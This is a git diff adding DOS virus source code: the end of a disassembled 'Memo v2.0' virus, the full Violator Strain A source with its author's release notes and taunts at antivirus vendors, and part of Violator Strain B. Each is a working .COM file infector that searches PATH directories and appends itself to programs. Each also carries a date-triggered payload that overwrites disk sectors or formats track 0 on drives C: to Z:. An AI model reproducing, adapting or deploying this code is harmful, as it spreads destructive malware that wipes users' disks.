(01BE) +loc_4: ; xref 580C:01E4 + cmp word ptr [si+39h],0 + nop + jnz loc_5 ; Jump if not zero + + jmp loc_20 ; (031F) +loc_5: ; xref 580C:0186 + push ds + push si + mov ds,es:PSP_envirn_seg ; (580C:002C=0) + mov di,si + mov si,es:[di+39h] + nop + add di,42h + nop +loc_6: ; xref 580C:01AA + lodsb ; String [si] to al + cmp al,3Bh ; ';' + je loc_8 ; Jump if equal + cmp al,0 + nop + jz loc_7 ; Jump if zero + nop + stosb ; Store al to es:[di] + nop + jmp short loc_6 ; (019D) +loc_7: ; xref 580C:01A5 + mov si,data_2e ; (580C:0000=0) +loc_8: ; xref 580C:01A0 + pop bx + pop ds + mov [bx+39h],si + nop + nop + cmp ch,5Ch ; '\' + je loc_9 ; Jump if equal + mov al,5Ch ; '\' + stosb ; Store al to es:[di] +loc_9: ; xref 580C:017F, 01B9 + mov [bx+3Bh],di + nop + mov si,bx + add si,33h + nop + mov cx,6 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov si,bx + mov ah,4Eh ; 'N' + mov dx,data_4e ; (580C:0042=0) + nop + add dx,si + mov cx,3 + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jmp short loc_11 ; (01E2) +loc_10: ; xref 580C:01EE, 01F6, 01FD + mov ah,4Fh + int 21h ; DOS Services ah=function 4Fh + ; find next filename match +loc_11: ; xref 580C:01DC + jnc loc_12 ; Jump if carry=0 + jmp short loc_4 ; (0181) + +loc_12: ; xref 580C:01E2 + mov ax,ds:data_6e[si] ; (580C:0098=0) + and al,1Fh + cmp al,1Fh + je loc_10 ; Jump if equal + cmp word ptr ds:data_7e[si],0FA00h ; (580C:009C=0) + ja loc_10 ; Jump if above + cmp word ptr ds:data_7e[si],0Ah ; (580C:009C=0) + jb loc_10 ; Jump if below + mov di,[si+3Bh] + nop + push si + add si,data_8e ; (580C:00A0=0) +loc_13: ; xref 580C:020C + lodsb ; String [si] to al + stosb ; Store al to es:[di] + cmp al,0 + jne loc_13 ; Jump if not equal + pop si + mov ax,4300h + mov dx,data_4e ; (580C:0042=0) + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + mov [si+2Bh],cx + nop + mov ax,4301h + and cx,0FFFEh + mov dx,data_4e ; (580C:0042=0) + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + mov ax,3D02h + mov dx,data_4e ; (580C:0042=0) + nop + add dx,si + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_14 ; Jump if carry=0 + jmp loc_19 ; (0310) +loc_14: ; xref 580C:0237 + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=date + mov [si+27h],cx + nop + mov [si+29h],dx + nop + mov ah,2Ah + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp dh,2 + + je loc_15 ; Jump if equal + cmp al,1 + je loc_16 ; Jump if equal + jmp short loc_17 ; (0295) + db 90h +loc_15: ; xref 580C:0252 + mov al,2 + mov cx,96h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block + mov al,3 + mov cx,96h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block + mov al,4 + mov cx,96h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block + mov al,0 + mov cx,96h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block + int 20h ; DOS program terminate +loc_16: ; xref 580C:0256 + mov ah,3Ch ; '<' + mov dx,offset data_11 ; (580C:033F='BetaBoys') + mov cx,2 + int 21h ; DOS Services ah=function 3Ch + ; create/truncate file @ ds:dx + mov bx,ax + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_17: ; xref 580C:0258 + mov ah,3Fh ; '?' + mov cx,3 + mov dx,PSP_envirn_seg+1 ; (580C:002D=0) + nop + add dx,si + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + jc loc_18 ; Jump if carry Set + cmp ax,3 + jne loc_18 ; Jump if not equal + + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_18 ; Jump if carry Set + mov cx,ax + sub ax,3 + mov [si+31h],ax + nop + add cx,32Dh + mov di,si + sub di,22Bh + mov [di],cx + mov ah,40h ; '@' + mov cx,2DAh + mov dx,si + sub dx,22Dh + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jc loc_18 ; Jump if carry Set + cmp ax,2DAh + jne loc_18 ; Jump if not equal + mov ax,4200h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + jc loc_18 ; Jump if carry Set + mov ah,40h ; '@' + mov cx,3 + mov dx,si + add dx,30h + nop + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer +loc_18: ; xref 580C:02A2, 02A7, 02B4, 02D8 + ; 02DD, 02EA + mov dx,[si+29h] + nop + mov cx,[si+27h] + nop + and cx,0FFE0h + or cx,1Fh + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=date + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_19: ; xref 580C:0239 + mov ax,4301h + + mov cx,[si+2Bh] + nop + mov dx,data_4e ; (580C:0042=0) + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx +loc_20: ; xref 580C:0188 + push ds + mov ah,1Ah + mov dx,[si+23h] + nop + mov ds,[si+25h] + nop + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + pop ds +loc_21: ; xref 580C:012F + pop cx + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + mov di,100h + push di + xor di,di ; Zero register + retn 0FFFFh +data_11 db 'BetaBoys', 0 ; xref 580C:0287 + db 'Present: Memo v2.0 /MaZ ' + db 10 dup (0) + db 0CDh, 20h, 90h,0E9h, 00h, 00h + db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h + db 00h, 00h, 00h, 00h, 50h, 41h + db 54h, 48h, 3Dh, 00h, 00h + db 105 dup (0) + +MEMO20B endp + +seg_a ends + + + + end start + + +____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________ + + seg:off type label + ---- ---- ---- -------------------------------- + 580C:0100 far start + 580C:0112 extn real_start + + __________________ Interrupt Usage Synopsis __________________ + + Interrupt 20h : DOS program terminate + Interrupt 21h : DOS Services ah=function xxh + Interrupt 21h : ah=1Ah set DTA(disk xfer area) ds:dx + Interrupt 21h : ah=2Ah get date, cx=year, dh=month + Interrupt 21h : ah=2Fh get DTA ptr into es:bx + Interrupt 21h : ah=30h get DOS version number ax + Interrupt 21h : ah=3Ch create/truncate file @ ds:dx + Interrupt 21h : ah=3Dh open file, al=mode,name@ds:dx + Interrupt 21h : ah=3Eh close file, bx=file handle + Interrupt 21h : ah=3Fh read file, bx=file handle + Interrupt 21h : ah=40h write file bx=file handle + Interrupt 21h : ah=42h move file ptr, bx=file handle + Interrupt 21h : ax=4300h get attrb cx, filename @ds:dx + Interrupt 21h : ax=4301h set attrb cx, filename @ds:dx + Interrupt 21h : ah=4Eh find 1st filenam match @ds:dx + Interrupt 21h : ah=4Fh find next filename match + Interrupt 21h : ax=5700h get file date+time, bx=handle + Interrupt 21h : ax=5701h set file date+time, bx=handle + Interrupt 26h : Absolute disk write, drive al + + __________________ I/O Port Usage Synopsis __________________ + + No I/O ports used. + diff --git a/v/VIOL-1A.ASM b/v/VIOL-1A.ASM new file mode 100755 index 0000000..1333450 --- /dev/null +++ b/v/VIOL-1A.ASM @@ -0,0 +1,462 @@ +;****************************************************************************** +; Violator Strain A Source Code +;****************************************************************************** +; +; (May/1/1991) +; +; Well, in memory of the first anniversary of writing Violator, I have decided +; to release it's source code publicly. +; +; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set +; to go off on June 22nd, 1990. The significance of this date and the name +; Violator, was that my favourite group, Depeche Mode, were comming to Toronto +; to perform their "World Violator Tour" on that date. +; +; This virus, as you can clearly see, is a base hack of the Vienna virus. The +; only thing I took out of the Vienna virus was the original scan string, and +; added date check routines as well as the INT 26 format routine. Other than +; that, this virus is pretty much like the original Vienna virus. +; +; In any event, have fun with this source code, but please keep in mind, that +; RABID does not condone the modification of this virus further in order to +; create even more raging, destructive viruses. This source is being provided +; to you in order to see how easy it is to modify an existing virus into an +; instrument of destruction. Also, RABID accepts no responsibility for damage +; which may be wrought (material or immaterial, financial or personal, you get +; the idea...) through the spreading of this source code. +; +; At this point in time, I'd wish to express greetings to several people. +; +; To the Dark Avenger, for releasing "Eddie" source code. We have greatly +; improved our programming prowess through analysis of your source code. +; (It wasn't that bad, despite all your self-scorning negative comments about +; effectiveness of certain procedures) +; Keep up the great work... +; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker +; some more... +; +; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in +; anything other than PASCAL or QuickBASIC. +; +; To John McAfee and Associates. Keep up the great work with your SCAN and +; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't +; be where you are now... (BTW: How'dya like Violator B4? Did you get our +; message, despite the bug in the ANSI routines? >SMOOCH< (hehe)) +; +; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have +; it as well...) Keep up the great work, even if it is for research purposes. +; +; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our +; doing. You can blame L.o.L. for that... +; +; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What +; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that +; you know the backdoors to it, and other BBS software. Yup. Just keep going to +; those Beverly Hills Snob Private schools and think you'll get somewhere in +; the world. +; +; To Slave Lord. Take your precious group and shove it up your ass sideways. +; Your cracks suck man! A friend of mine who attended COMDEX last year can +; sum up the majority of your group in one word. GEEKS! INC rules and it +; always will. Keep on dreaming... We eat assholes like you for breakfast... +; Need we even mention how many times we crashed Slave Den last year??? +; 'Nuff said... +; +; To PCM2. Where the hell are you man? Get working guy... +; +; And to all other virus writers out there who remain annonomous. Keep up the +; great work. McFee wouldn't be where he is now unless it wansn't for people +; like us. (He should be greatfull... +; +; Take care guys... And watch out. We're everywhere... +; +;****************************************************************************** +; +; -=THE=- +; +; The RABID International Development Corp. +; ----------------------------------------- +; Big hey-yo's to: FF, TJA, TM, PT, and MM. +; +; +; "...take heed that no man deceive you. For many shall come in my name, +; saying I am Christ; and shall deceive many. And ye shall hear of wars and +; rumours of wars: see that ye be not troubled: for all these things must come +; to pass, but the end is not yet. For nation shall rise against nation, and +; kingdom against kingdom: and there shall be famines, and pestilences, and +; earthquakes, in divers places. All these are the beginning of sorrows." +; (Matthew 24:4-9) +; +; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will +; be fulfilled. +; +; We're getting there unless those bastards in power do something to save this +; Earth we live on. +; +; Nostradamus prophesised that we may follow one of two paths. One to harmony, +; or one to destruction. Which path will we follow? +; +; Think about it. +; +;****************************************************************************** + + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV CX,3 + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + mov ah,30h + int 21h + cmp al,0 + JnZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + JMP year_check + +year_check: + mov ah,2ah + int 21h + cmp cx,1990 + jge month_check + jmp find_path + +month_check: + mov ah,2ah + int 21h + cmp dh,6 + jge day_check + jmp find_path + +day_check: + mov ah,2ah + int 21h ; Set date to June 22nd, 1990 + cmp dl,22 + jge alter + jmp find_path + +alter: + mov al,1 ; Set for Drive 'B:' + mov cx,1 ; Change to 'MOV AL,2' for drive C: + mov dx,00 + mov ds,[di+55] + mov bx,[di+99] + int 26h + jmp find_path + + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +intro db 13,10,' DDrUS (C) - 1990 $',13,10 +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END VCODE diff --git a/v/VIOL-B.ASM b/v/VIOL-B.ASM new file mode 100755 index 0000000..53a99f1 --- /dev/null +++ b/v/VIOL-B.ASM @@ -0,0 +1,391 @@ +;***************************************************************************** +; +; Violator - Strain B +; +;***************************************************************************** +; +; (Aug/09/90) +; +; Development Notes: +; +; I encountered several errors in the original Violator code which I +; corrected in this version. Mainly, the INT 26 routine to fuck the +; disk. It seems that the routine would crash right after the INT 26 +; was executed and the whole program would die. I have since fixed +; this problem in this version with an INT 13, AH 05 (Format Track) +; command. This works better than the subsequent INT 26. +; +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Copyright (C) 1990 by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + INT 21H + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +year_check: + MOV AH,2AH ;Get date info + INT 21H ;Call DOS + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,9 ;Check to see if it is September + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + INT 21H ;Call DOS + CMP DL,4 ;Check to see if it is the 4th + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE find_path ;Go on with infection + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + INT 13h ;Call RWTS + RET ;Return up for next drive + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +intro db '.D$^i*&B)_a.%R',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H 